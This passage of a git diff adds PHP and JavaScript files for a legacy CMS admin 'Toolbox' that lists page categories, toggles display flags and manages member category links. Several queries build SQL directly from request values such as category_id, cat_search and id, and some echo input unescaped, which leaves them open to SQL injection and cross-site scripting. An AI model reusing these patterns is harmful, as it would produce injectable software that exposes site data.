+    // cache_Toolbox_bottomNav
+    $toolbox->cache->remove('bottomNav', 'Toolbox');
+    $toolbox->cache->clean('Nav');
+}
+if (isset($_REQUEST['mobile_active'])) {
+       if ($_REQUEST['mobile_active'] == 't') {
+               $nd = 'f';
+       } else {
+               $nd = 'y';
+       }
+    $query = "
+    UPDATE bus_category 
+       SET mobile_active = '$nd' 
+     WHERE id = $id";
+       $DB->db_exec($query);
+}
+$toolbox_nav["Edit Positions"] = "list_bus_category.phtml?show_pos=1";
+$toolbox_nav["Expand All"] = "list_bus_category.phtml?expand_all=1";
+$toolbox_nav["Collapse All"] = "list_bus_category.phtml?collaspe_all=1";
+GLM_TOOLBOX::html_nav_table($toolbox_nav, 6);
+echo '<table id="admin-list-table" style="width:700px;">
+       <tr>
+               <td>
+                       <form name="search_form" action="'.$PHP_SELF.'">
+                               <input name="cat_search" value="'.stripslashes($cat_search).'">
+                               <input type="submit" name="Command" value="Search Pages">
+                       </form>
+               </td>
+       </tr>
+       <tr><td>
+<form action="update_bus_category.phtml" method="POST">
+';
+include_once("threads.phtml");
+if( !isset( $cat_search ) || $cat_search == '' ) {
+       $qs = "SELECT   id,parent,pos,category,active,mobile_active,keyword
+       FROM    bus_category
+       WHERE   parent is not null
+       ORDER BY pos;";
+
+       if(!$res = $DB->db_exec($qs)) {
+               echo "Failure".$qs;
+       }
+       for($i=0;$i<pg_numrows($res);$i++) {
+               $data = pg_fetch_array($res,$i,PGSQL_ASSOC);
+               $id = $data[id];
+               $category = $data["category"];
+               if( $data['keyword'] != '' ){ 
+                       $category .= " {".$data['keyword']."}";
+               }
+               $parent = $data['parent'];
+               $position = $data['pos'];
+               if(TOOLBOX_FLAGS == 1 && $data['id']!=HOME_ID) {
+            $alt 
+                = ($data['active'] == 't') 
+                ? 'Don\'t display'
+                : 'Display';
+            $activeFlag
+                = ($data['active'] == 't')
+                ? 't'
+                : 'f';
+            $activeColor
+                = ($data['active'] == 't')
+                ? 'grnball'
+                : 'redball';
+                       $active  = '<a title="'.$alt.'" href="'.$PHP_SELF."?active={$activeFlag}&id={$data['id']}".'">';
+            $active .= '<img src="'.URL_BASE .'images/'.$activeColor.'.gif" alt="'.$alt.'" border=0></a>';
+            $mobile_alt 
+                = ($data['mobile_active'] == 't') 
+                ? 'Don\'t display'
+                : 'Display';
+            $mobileActiveFlag
+                = ($data['mobile_active'] == 't')
+                ? 't'
+                : 'f';
+            $activeColor
+                = ($data['mobile_active'] == 't')
+                ? 'mobilemgreen'
+                : 'mobilemred';
+                       $mobile_active  = '<a title="'.$mobile_alt.'" href="'.$PHP_SELF."?mobile_active={$mobileActiveFlag}&id={$data['id']}".'">';
+            $mobile_active .= '<img src="'.URL_BASE .'images/'.$activeColor.'.jpg" alt="'.$mobile_alt.'" border=0></a>';
+
+
+       } elseif($data['id']==HOME_ID) {
+               $active = "&nbsp;";
+            if ($data['id'] == HOME_ID) {
+                $mobile_active = "&nbsp;";
+            } else {
+                $mobile_alt 
+                    = ($data['mobile_active'] == 't') 
+                    ? 'Don\'t display'
+                    : 'Display';
+                $mobileActiveFlag
+                    = ($data['mobile_active'] == 't')
+                    ? 't'
+                    : 'f';
+                $activeColor
+                    = ($data['mobile_active'] == 't')
+                    ? 'mobilemgreen'
+                    : 'mobilemred';
+                $mobile_active  = '<a title="'.$mobile_alt.'" href="'.$PHP_SELF."?mobile_active={$mobileActiveFlag}&id={$data['id']}".'">';
+                $mobile_active .= '<img src="'.URL_BASE .'images/'.$activeColor.'.jpg" alt="'.$mobile_alt.'" border=0></a>';
+            }
+      } 
+       
+       if($show_pos && !in_array($id,$category_locks)) {
+               $qs = "SELECT   MAX(pos) as maxpos
+               FROM    bus_category
+               WHERE   parent = $parent";
+
+               if(!$maxresult = $DB->db_exec($qs)) {
+                       GLM_TOOLBOX::html_error(DB_ERROR_MSG.$qs,0);
+               }
+               $max_data = $DB->db_fetch_array($maxresult,0,PGSQL_ASSOC);
+               $maxpos = $max_data['maxpos'];
+               $pos = '<select style="font-size:12px;" name="pos" onChange="location.href=this[this.selectedIndex].value;" size="1">';
+               $starting = 1;//( $parent == 0 ) ? 14: 1;
+               for($newpos=$starting;$newpos<=$maxpos;$newpos++) {
+                       $string = "Command=Move&id=$id&parent=$parent&newpos=$newpos";
+                       $pos .= "<option value=\"update_bus_category.phtml?$string\"";
+                       if($newpos == $position) {
+                               $pos .= " selected";
+                       }
+                       $pos .= ">$newpos\n";
+               }
+               $pos .= "</select>";
+       }elseif($show_pos){
+               $pos = '';
+       }
+       if( $expand_all == true ) {
+               $close = false;
+               $expanded[$id] = 1;
+       }
+       if( $collaspe_all == true ) {
+               $close = true;
+               unset($expanded[$id]);
+       }
+       if( $expanded[$id] ) {
+               $close = false;
+       } else {
+               $close = true;
+       }
+       $url = $toolbox->get_seo_url( $id );
+       $threads[] = array("ID" => $id,"content" => $category,"pos" => $pos,"parent" =>
+       $parent,"active" => $active,"closed" => $close,'seo_url'=>$url,'mobile_active'=>$mobile_active);
+}
+//$links = array( "beginLevel" => "<ul>", "beginLevel2" => "<ul id=\"toolbox\">", "endLevel" => "</ul>", "beginItem" => "<li>", "beginItem2" => "<li class=\"toolboxArrow\">", "endItem" => "</li>");
+               if($DB->db_numrows($res) != 0) {
+                       $myThread = new toolbox_thread(); 
+                       $converted = $myThread->sortChilds($threads); //sort threads by parent
+                       print $myThread->convertToThread($converted, $converted[0]); //print the threads
+               }
+       } else {
+               $toolbox =& new GLM_TEMPLATE( NULL );
+               $query = "select * from bus_category where category ilike '%$cat_search%';";
+               //echo $query;
+               $res = $DB->db_exec( $query );
+               if( pg_numrows( $res ) > 0 ) {
+                       echo '<ul id="toolbox">';
+                       while( $row = pg_fetch_object( $res ) ) {
+                               if(TOOLBOX_FLAGS == 1) {
+                                       if($row->active == 't') {
+                                               $alt = "Don't display";
+                                       } else {
+                                               $alt = "Display";
+                                       }
+                                       $active = '<a title="'.$alt.'" href="'.$PHP_SELF.'?cat_search='.urlencode(stripslashes($cat_search)).'&amp;active='.$row->active.'&id='.$row->id.'">';
+                                       if( $row->id == HOME_ID ) {
+                                               $active = '';
+                                       } elseif($row->active == "t") {
+                                               $active .= "<img src=\"".URL_BASE ."images/grnball.gif\" alt=\"Don't display\" border=0></a>";
+                                       } else {
+                                                       $active .= "<img src=\"".URL_BASE ."images/redball.gif\" alt=\"Display\" border=0></a>";
+                                       }
+                               }
+                               $url = $toolbox->get_seo_url( $row->id );
+                               $params = "&amp;cat_search=".urlencode(stripslashes($cat_search));
+                               echo '<li>
+                               <a href="edit_bus_category.phtml?id='.$row->id.$params.'">[Edit]</a>
+                               <a href="list_bus.phtml?catid='.$row->id.$params.'">[Paragraphs]</a>
+                               <a href="'.$url.'" target="_BLANK">[Preview]</a>
+                               '.$active,$mobile_active.'
+                               <strong>'.strip_tags($row->category);
+                               if( $row->keyword != '' ){
+                                       echo ' {'.$row->keyword.'}';
+                               }
+                               echo '</strong>
+                               </li>';
+                       }
+                       echo '</ul>';
+       } else {
+               echo 'Nothing found!';
+       }
+}
+echo '
+       </form>
+               </td></tr>
+       </table>
+</div>';
+GLM_TOOLBOX::footer();
+?>
diff --git a/admin/Toolbox/member-code-line.php b/admin/Toolbox/member-code-line.php
new file mode 100644 (file)
index 0000000..6d4a5f2
--- /dev/null
@@ -0,0 +1,16 @@
+<?php
+require_once '../../setup.phtml';
+require_once BASE.'classes/class_db.inc';
+$DB = new GLM_DB();
+if( $_REQUEST['category_id'] ){
+       $query = "select * from category where category_id = ".$_REQUEST['category_id'];
+       if( $data = $DB->pgsql_select( $query ) ){
+               $out = '<div>';
+               $out .= '<a href="3" onclick="$(this).parent().html(\'\');return false;">Delete</a>&nbsp;';
+               $out .= $data[0]['class_code'].' '.$data[0]['name'];
+               $out .= '<input type="hidden" name="member_cats[]" value="'.$data[0]['category_id'].'">';
+               $out .= '</div>';
+       }
+}
+echo $out;
+?>
diff --git a/admin/Toolbox/member-code-query.php b/admin/Toolbox/member-code-query.php
new file mode 100644 (file)
index 0000000..744b82a
--- /dev/null
@@ -0,0 +1,36 @@
+<?php
+require_once '../../setup.phtml';
+require_once BASE.'classes/class_db.inc';
+$DB = new GLM_DB();
+$query = "select * 
+from category 
+where parent_id = 0
+order by name";
+if( $data = $DB->pgsql_select( $query ) ){
+       $out = '<div class="buttons">';
+       $out .= '<select name="newCategory" id="newCategory" style="width:360px">';
+       foreach( $data as $row ){
+               $out .= '<option value="'.$row['category_id'].'" class="level-0">'.$row['name'].'</option>';
+               $query = "select * 
+                       from category 
+                       where parent_id = ".$row['category_id']." 
+                       order by name";
+               if( $data2 = $DB->pgsql_select( $query ) ){
+                       foreach( $data2 as $row2 ){
+                               $out .= '<option value="'.$row2['category_id'].'" class="level-1">'.$row2['name'].'</option>';
+                               $query = "select * 
+                                       from category 
+                                       where parent_id = ".$row2['category_id']." 
+                                       order by name";
+                               if( $data3 = $DB->pgsql_select( $query ) ){
+                                       foreach( $data3 as $row3 ){
+                                               $out .= '<option value="'.$row3['category_id'].'" class="level-2">'.$row3['name'].'</option>';
+                                       }
+                               }
+                       }
+               }
+       }
+       $out .= '</select><button id="add-code" class="positive">Add</button></div>';
+}
+echo $out;
+?>
diff --git a/admin/Toolbox/member-toolbox.js b/admin/Toolbox/member-toolbox.js
new file mode 100644 (file)
index 0000000..449e68f
--- /dev/null
@@ -0,0 +1,28 @@
+$(document).ready(function(){
+       if( $("#add-member-area") ){
+               $.ajax({
+                       url: "member-code-query.php",
+                       data: "Option=category",
+                       cache: false,
+                       success: function(html,textStatus){
+                               $("#add-member-area").html(html);
+                               $("#add-code").click(function(){
+                                       add_codes();
+                                       return(false);
+                               });
+                       }
+               });
+       }
+});
+function add_codes(){
+       var category_id = $("#newCategory").val();
+       $.ajax({
+               url: "member-code-line.php",
+               cache: false,
+               data: "category_id=" + category_id,
+               success: function(html,textStatus){
+                       $("#list-members-info").append(html);
+               }
+       });
+       return( false );
+}
diff --git a/admin/Toolbox/member-toolbox.php b/admin/Toolbox/member-toolbox.php
new file mode 100644 (file)
index 0000000..6ef4db9
--- /dev/null
@@ -0,0 +1,173 @@
+<?php
+include_once("../../setup.phtml");
+include_once("toolbox_setup.inc");
+if( MEMBERS_DB )
+{
+       if( $memb_data = get_memb_types( &$DB ) )
+       {
+               $member_sel = '<select id="memb_type" name="memb_type">';
+               $member_sel .= '<option value=""></option>';
+               foreach( $memb_data as $memb_id => $memb_name )
+               {
+                       $member_sel .= '<option value="'.$memb_id.'">'.$memb_name.'</option>';
+               }
+               $member_sel .= '</select><span id="sub-part">&nbsp;</span>';
+       }
+       if( $memb_sub_types = get_memb_sub_types( &$DB ) )
+       {
+               foreach( $memb_sub_types as $parent => $memb_sub_value )
+               {
+                       $member_sub_sel[$parent] = '<select id="memb_sub" name="memb_sub">';
+                       $member_sub_sel[$parent] .= '<option value=""></option>';
+                       foreach( $memb_sub_value as $id => $name )
+                       {
+                               $member_sub_sel[$parent] .= '<option value="'.$id.'">'.$name.'</option>';
+                       }
+                       $member_sub_sel[$parent] .= '</select>';
+               }
+       }
+}
+?>
+var addMemberLink = document.getElementById('add-member');
+var addMemberDiv = document.getElementById('add-member-area');
+var addMemberList = document.getElementById('list-members-info');
+function removeElement( elem )
+{
+               var rem = document.getElementById( elem );
+       rem.innerHTML = '';
+}
+function attachEventListener(target, eventType, functionRef, capture)
+{
+       if (typeof target.addEventListener != "undefined")
+       {
+               target.addEventListener(eventType, functionRef, capture);
+       }
+       else if (typeof target.attachEvent != "undefined")
+       {
+               target.attachEvent("on" + eventType, functionRef);
+       }
+       else
+       {
+               eventType = "on" + eventType;
+
+               if (typeof target[eventType] == "function")
+               {
+                       var oldListener = target[eventType];
+
+                       target[eventType] = function()
+                       {
+                               oldListener();
+
+                               return functionRef();
+                       }
+               }
+               else
+               {
+                       target[eventType] = functionRef;
+               }
+       }
+
+       return true; 
+}
+function addLoadListener(fn)
+{
+       if (typeof window.addEventListener != 'undefined')
+       {
+               window.addEventListener('load', fn, false);
+       }
+       else if (typeof document.addEventListener != 'undefined')
+       {
+               document.addEventListener('load', fn, false);
+       }
+       else if (typeof window.attachEvent != 'undefined')
+       {
+               window.attachEvent('onload', fn);
+       }
+       else
+       {
+               var oldfn = window.onload;
+               if (typeof window.onload != 'function')
+               {
+                       window.onload = fn;
+               }
+               else
+               {
+                       window.onload = function()
+                       {
+                               oldfn();
+                               fn();
+                       };
+               }
+       }
+}
+function myLink()
+{
+       attachEventListener(addMemberLink,"click",addMyMember,false); 
+}
+function addMyMember() 
+{
+       addMemberDiv.innerHTML = '<?php echo $member_sel;?>';
+       addMemberDiv.innerHTML += '<a href="#" id="add-member-type" href="#">Add</a>';
+       var addType = document.getElementById('add-member-type');
+       attachEventListener(addType,"click",myAddType,false);   
+       var addMemberType = document.getElementById('memb_type');
+       attachEventListener(addMemberType,"change",myAddSubType,false); 
+}
+function myAddSubType(){
+       var sub_sel_hmtl = new Array();
+       <?php
+       foreach( $member_sub_sel as $parent => $html )
+       {
+       ?>
+       sub_sel_hmtl[<?php echo $parent;?>] = '<?php echo $html;?>';
+       <?php
+       }
+       ?>
+       var memb_type = document.getElementById('memb_type');
+       var memType = memb_type.options[memb_type.selectedIndex].value
+       if( !isNaN( memType ) )
+       {
+               var subPart = document.getElementById('sub-part');
+               subPart.innerHTML = sub_sel_hmtl[memType];
+       }
+}
+function myAddType()
+{
+       try{
+               var membTypes = document.getElementById('memb_sub');
+               if( membTypes.value ){
+                       var hideMemIdName = 'hideMember_' + membTypes.value;
+                       var hideMemName = 'hideMember_' + membTypes.value;
+                       addMemberList.innerHTML += '<div id="' + hideMemIdName + '" style="display:block;">'
+                               +  membTypes.options[membTypes.selectedIndex].text
+                               + '<input type="hidden" name="member_link[]" value="' + membTypes.value +'">'
+                               + '<a href="#" style="font-size:9pt;" onClick="removeElement(\'' + hideMemName + '\')">Delete</a></div>';
+               }
+               else{
+                       var membTypes = document.getElementById('memb_type');
+                       if( membTypes.value ){
+                               var hideMemIdName = 'hideMember_' + membTypes.value;
+                               var hideMemName = 'hideMember_' + membTypes.value;
+                               addMemberList.innerHTML += '<div id="' + hideMemIdName + '" style="display:block;">'
+                                       +  membTypes.options[membTypes.selectedIndex].text
+                                       + '<input type="hidden" name="member_link[]" value="' + membTypes.value +'">'
+                                       + '<a href="#" style="font-size:9pt;" onClick="removeElement(\'' + hideMemName + '\')">Delete</a></div>';
+                       }
+               }
+       }
+       catch(err){
+               var membTypes = document.getElementById('memb_type');
+               if( membTypes.value ){
+                       var hideMemIdName = 'hideMember_' + membTypes.value;
+                       var hideMemName = 'hideMember_' + membTypes.value;
+                       addMemberList.innerHTML += '<div id="' + hideMemIdName + '" style="display:block;">'
+                               +  membTypes.options[membTypes.selectedIndex].text
+                               + '<input type="hidden" name="member_link[]" value="' + membTypes.value +'">'
+                               + '<a href="#" style="font-size:9pt;" onClick="removeElement(\'' + hideMemName + '\')">Delete</a></div>';
+               }
+       }
+       addMemberDiv.innerHTML = '<a href="#" id="add-member">Add Member Link</a>';
+       var addMemberLink = document.getElementById('add-member');
+       attachEventListener(addMemberLink,"click",addMyMember,false); 
+}
+addLoadListener(myLink);
diff --git a/admin/Toolbox/threads.phtml b/admin/Toolbox/threads.phtml
new file mode 100755 (executable)
index 0000000..1804a06
--- /dev/null
@@ -0,0 +1,62 @@
+<?php
+class toolbox_thread {    
+       var $beginLevel = '<ul>';
+       var $beginLevel2 = '<ul id="toolbox">';
+    var $endLevel = '</ul>';
+    var $beginItem = '<li>';
+    var $beginItem2 = '<li class="toolboxArrow">';
+    var $endItem = '</li>';
+    var $wholeThread;
+       
+    function __construct($code="") {    
+               if(!empty($code)) {    
+                       $this->beginLevel = $code['beginLevel'];
+                       $this->beginLevel2 = $code['beginLevel2'];
+            $this->endLevel = $code['endLevel'];
+            $this->beginItem = $code['beginItem'];
+            $this->beginItem2 = $code['beginItem2'];
+            $this->endItem = $code['endItem'];
+        }
+    }
+
+    function sortChilds($threads) {    
+               while(list($var, $value) = each($threads))
+            $childs[$value[parent]][$value[ID]] = $value;
+        return $childs;
+    }
+
+    function convertToThread($threads, $thread) {    
+               static $count;
+               if( !$count ) {
+                       $this->wholeThread .= $this->beginLevel2;
+               } else {
+                       $this->wholeThread .= $this->beginLevel;
+               }
+        while(list($parent, $value) = each($thread)) {    
+                       if( $threads[$parent] && $value['closed'] ) {
+                               $this->wholeThread .= $this->beginItem2;
+                               $this->wholeThread .= '<a href="list_bus_category.phtml?expand='.$value['ID'].'"
+                                       title="Expand"><img border="0" src="expand.png"></a>';
+                       } elseif( $threads[$parent] && !$value['closed'] ) {
+                               $this->wholeThread .= $this->beginItem2;
+                               $this->wholeThread .= '<a href="list_bus_category.phtml?fold='.$value['ID'].'"
+                                       title="Fold"><img border="0"src="collapse.png"></a>';
+                       } else {
+                               $this->wholeThread .= $this->beginItem;
+                       }
+                       $count++;
+                       $this->wholeThread .= " <a href=\"edit_bus_category.phtml?id=".$value['ID']."\">[Edit]</a>&nbsp;&nbsp;"
+                       ."<a href=\"list_bus.phtml?catid=".$value['ID']."\">[Paragraphs]</a>&nbsp;&nbsp;" 
+                       ."<a target=\"_blank\" href=\"".$value['seo_url']."\">[Preview]</a>" 
+                       .$value[pos] 
+                       ."<b>".$value[active].$value['mobile_active'];
+                  $this->wholeThread .= $value['content'] . "</b>" . $this->endItem ."\n";
+                       if( $threads[$parent] && !$value['closed'] ) {
+                $this->convertToThread($threads, $threads[$parent]);
+                       }
+        }
+        $this->wholeThread .= $this->endLevel;
+        return $this->wholeThread;
+    }
+}
+?>
diff --git a/admin/Toolbox/toolbox_setup.inc b/admin/Toolbox/toolbox_setup.inc
new file mode 100755 (executable)
index 0000000..bc52dd6
--- /dev/null
@@ -0,0 +1,435 @@
+<?php
+
+/**
+ * toolbox_setup.inc
+ * 
+ * Setup for the toolbox admin application
+ * 
+ * PHP versions 4 and 5
+ * 
+ * @category  Toolbox
+ * @package   Toolbox
+ * @author    Steve Sutton <steve@gaslightmedia.com>
+ * @copyright 2009 Gaslight Media
+ * @license   Gaslight Media
+ * @version   CVS: $Id: toolbox_setup.inc,v 1.2 2009/09/23 13:56:04 matrix Exp $
+ * @link      <>
+ */
+// {{{ INCLUDES
+/**
+ * Main site config file
+ */
+include_once '../../setup.phtml';
+
+/**
+ * GLM_DB class
+ */
+include_once BASE.'classes/class_db.inc';
+
+/**
+ * GLM_TOOLBOX class
+ */
+include_once BASE.'classes/class_toolbox.inc';
+
+/**
+ * GLM_TEMPLATE class
+ */
+include_once BASE.'classes/class_template.inc';
+// }}}
+$DB =& new GLM_DB();
+$toolbox =& new GLM_TEMPLATE(1);
+// {{{ DEFINES
+if (!defined("DELUXE_TOOLBOX"))  {
+
+    /**
+     * Description for define
+     */
+       define("DELUXE_TOOLBOX",0);
+}
+if (!defined("TOOLBOX_FLAGS"))  {
+
+    /**
+     * Description for define
+     */
+       define("TOOLBOX_FLAGS",1);
+}
+if (!defined("LEVELS_DEEP")) 
+{
+
+    /**
+     * Description for define
+     */
+       define("LEVELS_DEEP",5);
+}
+if (!defined("MEMBERS_DB"))  {
+
+    /**
+     * Description for define
+     */
+       define("MEMBERS_DB",false);
+}
+if (!defined("HOME_ID"))  {
+
+    /**
+     * Description for define
+     */
+       define("HOME_ID",1);
+}
+if (!defined("CAT_LOCK"))  {
+
+    /**
+     * Description for define
+     */
+       define("CAT_LOCK",0);
+}
+if (!defined("MULTIPLE_CAT"))  {
+
+    /**
+     * Description for define
+     */
+       define("MULTIPLE_CAT",0);
+}
+// }}}
+$category_locks = array();//range(1,13);
+// {{{ $fields = array();
+// $fields array used for the bus table edit page
+$fields[] = array(
+    "name" => "id",
+    "title" => "id",
+    "type" => "hide"
+);
+$fields[] = array(
+    "name" => "name",
+    "title" => "Paragraph Title",
+    "type" => "text"
+);
+$fields[] = array(
+    "name" => "description", 
+    "title" => "Description", 
+    "type" => "desc"
+);
+$fields[] = array(
+    "name" => "imagename",
+    "title"=> "Image Caption",
+    "type" => "text"
+);
+$fields[] = array(
+    "name" => "image",
+    "title" => "Image",
+    "type" => "img"
+);
+$fields[] = array(
+    "name" => "back_to_top", 
+    "title" => "Insert 'Back to Top' link", 
+    "type" => "bool"
+);
+// }}}
+// {{{ update_member_bus_cat()
+/**
+ * Short description for function
+ * 
+ * Long description (if any) ...
+ * 
+ * @param  object  &$DB Parameter description (if any) ...
+ * @return boolean Return description (if any) ...
+ */
+function update_member_bus_cat(&$DB)
+{
+       if (!is_numeric($_REQUEST['id'])) {
+        return false;
+    }  
+       $query = "select * from bus_cat_member where catid = ".$_REQUEST['id'];
+       if ($bcm_data = $DB->pgsql_select($query)) {
+               foreach ($bcm_data as $bcm_row) {
+                       if (is_array($_REQUEST['member_cats']) && !in_array($bcm_row['memb_type'], $_REQUEST['member_cats'])) {
+                               // delete this one by the bus_cat_member id 
+                               $DB->pgsql_delete('bus_cat_member', array('id'=>$bcm_row['id']));
+                       } elseif (is_array($_REQUEST['member_cats'])) {
+                               $key = array_search($bcm_row['memb_type'], $_REQUEST['member_cats']);
+                               unset($_REQUEST['member_cats'][$key]);
+               }
+               }
+       }
+       if (is_array($_REQUEST['member_cats']))  {
+               foreach ($_REQUEST['member_cats'] as $row) {
+                       $data = array('catid'=>$_REQUEST['id'],'memb_type'=>$row);
+                       $DB->pgsql_insert('bus_cat_member', $data, 'id', 'bus_cat_member_id_seq') ;
+               }
+       }else{
+               // if there's no member_cats array then delete any that are in bus_cat_member table
+               $DB->pgsql_delete('bus_cat_member', array('catid'=>$_REQUEST['id'])) ;
+       }
+}
+// }}}
+// {{{ get_sub()
+/**
+ * Short description for function
+ * 
+ * Long description (if any) ...
+ * 
+ * @param  unknown $catid Parameter description (if any) ...
+ * @param  object  $DB    Parameter description (if any) ...
+ * @return array   Return description (if any) ...
+ */
+function get_sub($catid, $DB) {
+       static $string,$count;
+       if (!isset($count))  {
+               $count = 0;
+       }
+       $string[$count] = $catid;
+       $count++;
+       $query = "SELECT        id
+               FROM            bus_category
+               WHERE   parent = $catid
+               ORDER BY        pos";
+       if ($data = $DB->db_auto_get_data($query)){
+               foreach($data as $key=>$value){
+                       $id = $value['id'];
+                       $string = get_sub($id, $DB) ;
+               }
+               return $string;
+       }else{
+               return $string;
+       }
+}
+// }}}
+// {{{ get_prop_types()
+/**
+ * Short description for function
+ * 
+ * Long description (if any) ...
+ * 
+ * @param  object &$DB Parameter description (if any) ...
+ * @return array  Return description (if any) ...
+ */
+function get_prop_types(&$DB) {
+       static $prop_types;
+       if (!is_array($prop_types))  {
+               $query = "select * from prop_type order by name;";
+               if ($data = $DB->db_auto_get_data($query))  {
+                       foreach ($data as $row) {
+                               $prop_types[$row['id']] = $row['name'];
+                       }
+               }
+       }
+       return $prop_types;
+}
+// }}}
+// {{{ get_memb_sub_types()
+/**
+ * Short description for function
+ * 
+ * Long description (if any) ...
+ * 
+ * @param  object &$DB Parameter description (if any) ...
+ * @return array  Return description (if any) ...
+ */
+function get_memb_sub_types(&$DB) {
+       static $memb_sub_types;
+       if (!is_array($memb_sub_types))  {
+               $query = "select category_id,name,parent_id from category where parent_id != 0 order by parent_id,pos";
+               if ($data = $DB->pgsql_select($query))  {
+                       foreach ($data as $row) {
+                               $memb_sub_types[$row['parent_id']][$row['category_id']] = $row['name'];
+                       }
+               }
+       }
+       return $memb_sub_types;
+}
+// }}}
+// {{{ get_memb_types()
+/**
+ * Short description for function
+ * 
+ * Long description (if any) ...
+ * 
+ * @param  object &$DB Parameter description (if any) ...
+ * @return array  Return description (if any) ...
+ */
+function get_memb_types(&$DB) {
+       static $memb_types;
+       if (!is_array($memb_types))  {
+               $query = "select * from category where parent_id = 0 order by pos;";
+               if ($data = $DB->db_auto_get_data($query))  {
+                       foreach ($data as $row) {
+                               $memb_types[$row['category_id']] = $row['name'];
+                       }
+               }
+       }
+       return $memb_types;
+}
+// }}}
+// {{{ get_memb_all_types()
+/**
+ * Short description for function
+ * 
+ * Long description (if any) ...
+ * 
+ * @param  object &$DB Parameter description (if any) ...
+ * @return array  Return description (if any) ...
+ */
+function get_memb_all_types(&$DB) {
+       static $memb_types;
+       if (!is_array($memb_types))  {
+               $query = "select * from category order by parent_id,pos;";
+               if ($data = $DB->db_auto_get_data($query))  {
+                       foreach ($data as $row) {
+                               $memb_types[$row['category_id']] = $row['class_code'].' '.$row['name'];
+                       }
+               }
+       }
+       return $memb_types;
+}
+// }}}
+// {{{ check_lock()
+/**
+ * Short description for function
+ * 
+ * Long description (if any) ...
+ * 
+ * @param  mixed   $id Parameter description (if any) ...
+ * @return boolean Return description (if any) ...
+ */
+function check_lock($id){
+       if (isset($id)  && $id != '' && is_numeric($id))  {
+               if (file_exists(BASE.'static/'.$id.'.phtml')  || $id == HOME_ID) {
+                       return true;
+               }else{
+               return false;
+       }       
+       }else{
+               return false;
+       }       
+
+}
+// }}}
+// {{{ sort_by_parent()
+/**
+ * Short description for function
+ * 
+ * Long description (if any) ...
+ * 
+ * @param  array $data Parameter description (if any) ...
+ * @return mixed Return description (if any) ...
+ */
+function sort_by_parent($data) {
+       if (!is_array($data))
+               return false;
+       foreach($data as $key=>$value) {
+               $data_new[$value["parent"]][$value["id"]] = $value;
+       }
+       return $data_new;
+}
+// }}}
+// {{{ convertParent()
+/**
+ * Short description for function
+ * 
+ * Long description (if any) ...
+ * 
+ * @param  array $threads Parameter description (if any) ...
+ * @param  array $thread  Parameter description (if any) ...
+ * @return array Return description (if any) ...
+ */
+function convertParent($threads,$thread) {
+       static $select,$count;
+       $count = (!isset($count))   ? 0: $count;
+       $bgcolor[] = '#6d6d6d';
+       $bgcolor[] = '#7a7a7a';
+       $bgcolor[] = '#8a8a8a';
+       $bgcolor[] = '#979797';
+       $bgcolor[] = '#adadad';
+       $bgcolor[] = '#c1c1c1';
+       if (is_array($thread)) {
+               foreach($thread as $parent=>$value) {                   
+                       $color = $bgcolor[$count];
+                       $select[$value['id']]['color'] = $color;
+                       $select[$value['id']]['category'] = $value['category'];
+                       $select[$value['id']]['count'] = $count;
+
+                       if (isset($threads[$parent])) { 
+                               $count++;
+                               convertParent($threads, $threads[$parent]);
+                       }
+               }
+       }
+       $count--;
+       return $select;
+}
+// }}}
+// {{{ parent_select()
+/**
+  parent select
+
+  <p>This function does both the bus and bus category page parent select drop down boxes.
+  the backcount var is used to lock the list to a certain level set up with define of LEVELS_DEEP.
+  count varl starts at one and is generated in the function convertParent so we'll need to subtract one for proper results.
+  to unset backcount properly we'll need to check if count goes under or equals that of backcount.
+  then unset($backcount) cause if backcount is not empty then category won't get added to list.
+  </p>
+ */
+function parent_select($catid,$id,$sel_name = "parent"){
+       global $DB;
+       // select catid portion 
+       $qs = "SELECT   id,category,parent 
+               FROM    bus_category 
+               ORDER BY parent,pos";
+
+       $data = $DB->db_auto_get_data($qs,CONN_STR); 
+       $data1 = sort_by_parent($data);
+       $select = "<select name=\"".$sel_name."\" style=\"width:500px;\">";
+       if ($sel_name == "parent") {
+               $select .= "<option value=\"0\">--No Parent--";
+       }
+       $parts = convertParent($data1,$data1[0]);
+       if (is_array($parts)){
+               foreach($parts as $key=>$value){
+                       if (isset($backcount)  && $value['count'] <= $backcount) {
+                               unset($backcount);
+                       }
+                       if ($key == $id && $sel_name = "parent") {
+                               $backcount = $value['count'];
+                       }
+               //      if ($key == HOME_ID && $sel_name == "parent") {
+               //              continue;
+               //      }
+                       if ((!isset($backcount) && ($value['count'] < (LEVELS_DEEP - 1))   || $sel_name == "catid[]"))  {
+                               $bkg = $value["color"];
+                               $indent = (int)$value["count"] * 10;
+                               $cc = (int)$value["count"] * 2;
+                               $paddman = str_repeat("&nbsp;",$cc);
+                               $select .= '<option value="'.$key.'"';
+                               if ($key == $catid){
+                                       $select .= ' selected';
+                               }
+                               $select .= ' class="level-'.$value['count'].'"';
+                               $select .= '>'.$value["category"];
+                       }
+               }
+       }
+       $select .= "</select>";
+       if (CAT_LOCK == true && $sel_name == "parent"){
+               if ($catid!=0){         
+                       $qs = "SELECT   category 
+                               FROM    bus_category
+                               WHERE   id = $catid";
+
+                       $res2 = $DB->db_auto_get_data($qs,CONN_STR);
+                       $category = $res2['category'];
+               }else{
+                       $category = "No Parent";                
+               }
+
+               $select = $category."<input type=\"hidden\" name=\"$sel_name\" value=\"$catid\">";              
+       }
+       if ((($id==HOME_ID || in_array($id,$GLOBALS['category_locks']))  && $catid == 0)&& strstr($_SERVER['PHP_SELF'],"edit_bus_category") && ($catid!='' && $id!='')){
+               $select = 'No Parent <input type="hidden" name="parent" value="0">';
+       }
+       return $select;
+}
+// }}}
+$toolbox_nav['Toolbox Home'] = 'list_bus_category.phtml';
+if (!CAT_LOCK) {
+       $toolbox_nav["Add A New Page"]  = "edit_bus_category.phtml";
+}
+?>
diff --git a/admin/Toolbox/update_bus.phtml b/admin/Toolbox/update_bus.phtml
new file mode 100755 (executable)
index 0000000..d7cf243
--- /dev/null
@@ -0,0 +1,604 @@
+<?php
+/*
+ * Includes
+ */
+include_once "../../setup.phtml";
+include_once "toolbox_setup.inc";
+/*
+ * Defines
+ */
+define("TABLE", "bus");
+define("ID", "id");
+define("SEQUENCE", "bus_id_seq");
+// last field count
+$LAST     = count($fields)-1;
+// location for redirect
+$location = "../list_bus.phtml?catid={$_REQUEST['catid']}";
+GLM_TOOLBOX::http_strip($url);
+/*
+ * Command are only done on POST or when Moving an item
+ */
+if ($_POST || $_REQUEST['Command'] == "Move") {
+    switch($Command) {
+    /*
+     * Move a paragraph position 
+     */
+    case "Move":// {{{
+        $qs = "
+        SELECT  pos,id
+        FROM    bus_category_bus
+        WHERE   id = $id";
+        if (!$result = $DB->db_exec($qs)) {
